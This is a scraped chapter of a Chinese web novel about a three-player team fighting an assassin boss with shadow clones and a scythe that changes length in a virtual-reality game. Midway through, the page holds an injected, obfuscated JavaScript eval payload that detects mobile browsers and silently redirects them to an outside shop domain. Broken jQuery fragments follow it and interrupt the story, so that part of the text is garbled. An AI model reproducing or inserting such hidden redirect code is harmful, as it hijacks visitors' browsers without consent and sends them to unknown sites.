文趣网 > 其他小说 > 剧情党总是被迫争斗[全息] > 17. 完美格挡
    风起刀落。

    引路者倏地出现在Khatra身侧,金属镰刀攻速极快,刀面映出一轮月亮,挥刀的同时像是斩断了月光。

    Khatra抬弓格挡,弓箭的强度自然比不上引路者的镰刀,霁虹弓被刀锋震开,但也让引路者这一击落了空。

    风元素箭矢在Khatra手中飞速凝结,就在他凝聚完一箭射向引路者时,那身穿黑袍的身影竟直接被他击碎。

    不,不是击碎,是他消失了!

    风急速略过,引路者转瞬间出现在Khatra背后,趁着Khatra反应不及一刀向他挥砍而去,再次触发暴击。

    江逸在一旁默默观察。

    引路者的元素倾向是暗+风/金,很经典的暗影刺客,但比起自己在竞技场曾交手过的刺客,他显然要灵活的多。

    引路者的身形毫无征兆地出现在他们身周,金元素技能加持下的镰刀攻击力高得可怕,再加上暴击带来的伤害加成,几乎招招见血。

    小提敏锐地捕捉到耳畔的风声,与此同时,引路者也出现在他身后,一旁的江逸正想要提醒,就见一面光盾出现在小提身后,精准挡下引路者的攻击。

    光盾的灵活性让小提能够更自如地应对从不同方向袭来的攻击。引路者一击不成正想撤退,却见有藤蔓自他脚下生出,将他牢牢捆缚在原地。

    这是小提的木元素技能,捆绑。

    与江逸的藤条阵相比,光属性的技能更加强悍,这是一个绝对强控技能,无法用普通解控技能应对。

    《暮光之塔》里控制分软控、普通控制和绝对强控三种。

    软控诸如江逸的冰霜阵和雷鸣阵,能影响敌方的行动速度;普控诸如藤条阵,能限制敌方行动,使其无法移动。

    软控可以用位移技能解除,普控必须用解控技能应对,绝对强控则无法解控。

    引路者没能顺利逃脱,小提抓住机会上去就是一套连招。

    捆绑的时限一到,江逸立马续上控制三件套,在控制时间内抓紧输出。

    进入战斗以来,这是他们第一次成功攻击到引路者,迅猛的攻势下,引路者的血量下降了……不到10%。

    这还是在引路者是个脆皮刺客的前提下。

    江逸叹了口气。

    他们队伍的短板很明显。自己是只能算半个DPS的控场法师,Khatra虽然拿的是弓,但其实是个纯粹的辅助流奶妈,小提则是以吸血和反伤技能为核心的肉盾型前排。

    典型的防御力有余而攻击力不足。

    简而言之,一个能打的都没有。

    面对幻境副本里打不死只能抗的卫兵他们还有些优势,可一旦正经打起来,就略显逊色了。

    无奈,他们也只能慢慢压血。

    小提目光专注,几次和引路者的交手足够他摸索出对方的攻击节奏。

    他的操作能力在此时展现的淋漓尽致。光盾CD和引路者的位移CD冷却时间相差无几,每次都能卡在引路者出现的时候拦下他的攻击。

    引路者也看出小提不好对付,几次交手后就不再出现在小提身边,开始盯着后排的江逸和Khatra打。

    都说战牧法小队是铁三角,但引路者这个BOSS明显克制传统的战牧法队伍。

    战牧法,即战士、牧师、法师,战士是前排兼物攻,法师是远程兼法攻,牧师辅助保证续航,是很均衡的队伍组成。

    传统战士或MT大多只能拉一个面向,而引路者的位移能让他突破前排战士,直接攻击到牧师和法师,传统战士的作用被大大削弱。

    失去战士的保护,脆皮的奶妈和法师很容易被高攻刺客直接杀死。

    可小提不是传统战士。他的光盾极具灵活性,可以同时看顾从多个方向袭来的攻击。

    《暮光之塔》的物理引擎很真实,小体型体重更轻,相对应的,在敏捷和速度上也更具优势。

    这使得小提可以更灵活地在场上移动,将队友也纳入自己的保护范围。

    引路者一出现,他的光盾就随之而发,精准的闪盾技巧让引路者的行踪变得有迹可循,也大大增加了队友的反应时间。

    江逸自然没有浪费小提创造出来的操作空间,画师的特性让江逸原地不动就能很好地看顾全局,无论引路者出现在哪,画师的控制都如影随形。

    而一旦引路者被江逸的控制拖慢脚步,就给了小提近身的时间。

    小提的武器虽然是单手剑,但走的却是魔攻路线。他的攻击力很低,武器更多时候只作为释放技能的途径。

    但他的技能组合让他兼有极佳的续航和牵制缠斗的能力,他无法打死对手,却能让对手无法逃离。

    他们攻击不足,压血速度慢,那就靠牵制和控制链延长输出时间。

    场上的形式逐渐稳定下来,在三人的配合之下,引路者的血量顺利下滑。

    引路者再次从黑暗中出现,手握镰刀就要朝着江逸而去。

    小提释放出光盾,格挡下引路者的攻击。引路者停了动作,但江逸没有听到镰刀与光盾相撞时的声音。

    与此同时,场上出现了另一个引路者,小提的光盾已经提前释放出去,此刻还在CD,只能眼睁睁看着Khatra被击中。

    ——影分身!

    黑色的影子掠过,小提正想释放光盾,又想到引路者的影分身,动作不由得迟疑了一下。

    谁知引路者这次出现的就是真身,他抓住小提的细微停顿,直接突进到Khatra身前。连着两次攻击,显然是想把Khatra一套带走!

    一抹金刃凭空出现在Khatra眼前,那是江逸的技能。

    金刃的攻击让引路者的镰刀微微偏了一个角度,没能命中Khatra,Khatra借着队友创造出来的机会迅速把自己奶了起来。

    影分身的加入破坏了三人好不容易熟悉的战斗节奏,引路者反倒显得更加得心应手。

    刺客灵活地使用影分身给自己打掩护,在场上自由地穿梭,骗过所有人的眼睛。

    小提分辨不出真身,但也不能坐以待毙,只能连蒙带猜,总之先拦一个再说。

    有几次没猜中,引路者的镰刀直接落到他们身上,爆出的巨额伤害看得人胆战心惊。

    在这一片兵荒马乱的场面中,Khatra一直都很稳,队伍的血线大起大落,在0的边缘反复徘徊,却从始至终没有一个人死亡。

    江逸仔细观察着同时出现的两个引路者。

    引路者的分身与他本人相差无几,几乎不可能靠肉眼分辨出差距。

    但不可能有无解的技能,真身和分身一定存在差别,只不过不是外貌上的差别。

    但差别究竟在哪里?行为模式吗?速度吗?或是分身不能使用技能?

    引路者出现在小提身后,与此同时,江逸听见耳畔的风声。

    浮生笔落下,金刃出现在江逸身后,金属与金属相撞,发出清脆的响声。

    自己身后的这个是真身!

    江逸知道差别在哪了。

    笔画在画卷上铺展开,涂出大片色彩,以他自己为中心,朦胧的大雾四散开来。

    引路者的“突然出现”是风元素的效果,所以他每次出现都会伴随着风声。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911136|213111||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    而在雾气之中,风的轨迹会变得无所遁形。

    江逸:“看风,伴随着风一起出现的就是真身!”

    小提看见引路者出现在江逸身后,他周围的雾气没有波动。

    这个是分身,那真身就会出现在……

    他把注意力集中到自己和Khatra身上,却未曾想到引路者反其道而行,真身和影分身重合在一起,风搅动雾气,镰刀破空而至!

    情急之下小提一个急转身,光盾堪堪卡着极限时间替江逸挡下攻击。

    是真身!

    有了雾气的辅助,小提渐渐找回手感,他格挡的精准度回来了,Khatra的治疗压力也跟着大幅减小。

    引路者的血量稳步下滑,逐渐接近60%。

    小提盯着雾气中流动的空气,在引路者真身出现的瞬间,估算着引路者的攻击距离释放出光盾。

    光盾没有偏差,但江逸还是被命中了。

    江逸显然也没料到,差点忘了应对,站在稍远处的Khatra倒是反应了过来,光箭落在他身上,散发出治愈的温暖光效。

    Khatra提醒:“他的武器!”

    引路者原先的镰刀像是田间割麦子的短镰,此刻那根金属柄被拉长,变成更像是死神镰刀的形态。

    他的镰刀竟然可以自由变化长短!

    方才引路者正是在小提释放光盾的前一刻延长了镰刀柄,避开光盾直接攻击到了江逸。

    可自由变换攻击范围的武器大大增加了小提判断的难度。他释放出的光盾多次被引路者躲过,队伍的血量又坐上了过山车。

    小提眉头紧锁,他的目光紧紧跟随着引路者,观察着他的每一个细微动作。

    变化长度的时候有没有起手式?如何分辨攻击范围是扩大还是缩小?

    光盾放出又被躲过,没有受到伤害的光盾在技能时效到了以后自己主动散去。

    小提看着空中那点渐渐消失的光芒,感受到了一种强烈无力感。

    “我能奶住。”

    队友的声音在这时候响起,弓箭手执弓而立,白色弓柄上散发出淡淡的虹彩光芒,给人带来一种安心感。

    霁虹弓弓柄上的暗纹颜色会随着使用者释放的技能元素效果而改变,水元素时是淡淡的蓝色,风元素时是浅灰色。但在特殊的状态下,会呈现淡淡的虹彩光芒。

    这是Khatra的一个增益状态【心流】,该状态下,施法速度上升10%,技能效果增加10%,暴击率增加10%。

    另一侧,江逸的阵法也在有条不紊地落下,冰霜阵和雷鸣阵给引路者附着上冰冻和麻痹的双重异状态。

    “debuff上了。”

    引路者的动作在队友的debuff的作用下略显迟缓,就算自己失误没能拦下攻击,也有队友在身后随时准备接应。

    队友们似乎是看出了自己的焦急。小提想。

    但他们并没有责怪,也没有安慰,只是做到自己能做到的最好,给他创造出最利于发挥的条件。

    这是最直白的信任交付。

    “交给你了。”

    小提轻笑:“好,交给我吧。”

    这是只有他能做到的事。

    这是他能做到的事。

    引路者再次出现,金属镰刀挥出的同时,他听见一点细微的金属嗡鸣声。镰刀柄在引路者手中轻轻一抖,小提敏锐地看到他的手往前倾了一点。

    这次他看清楚了。

    光盾释出,淡金的光芒没有被朦胧的雾气掩盖分毫。

    引路者的镰刀砍到了光盾上。

    完美格挡。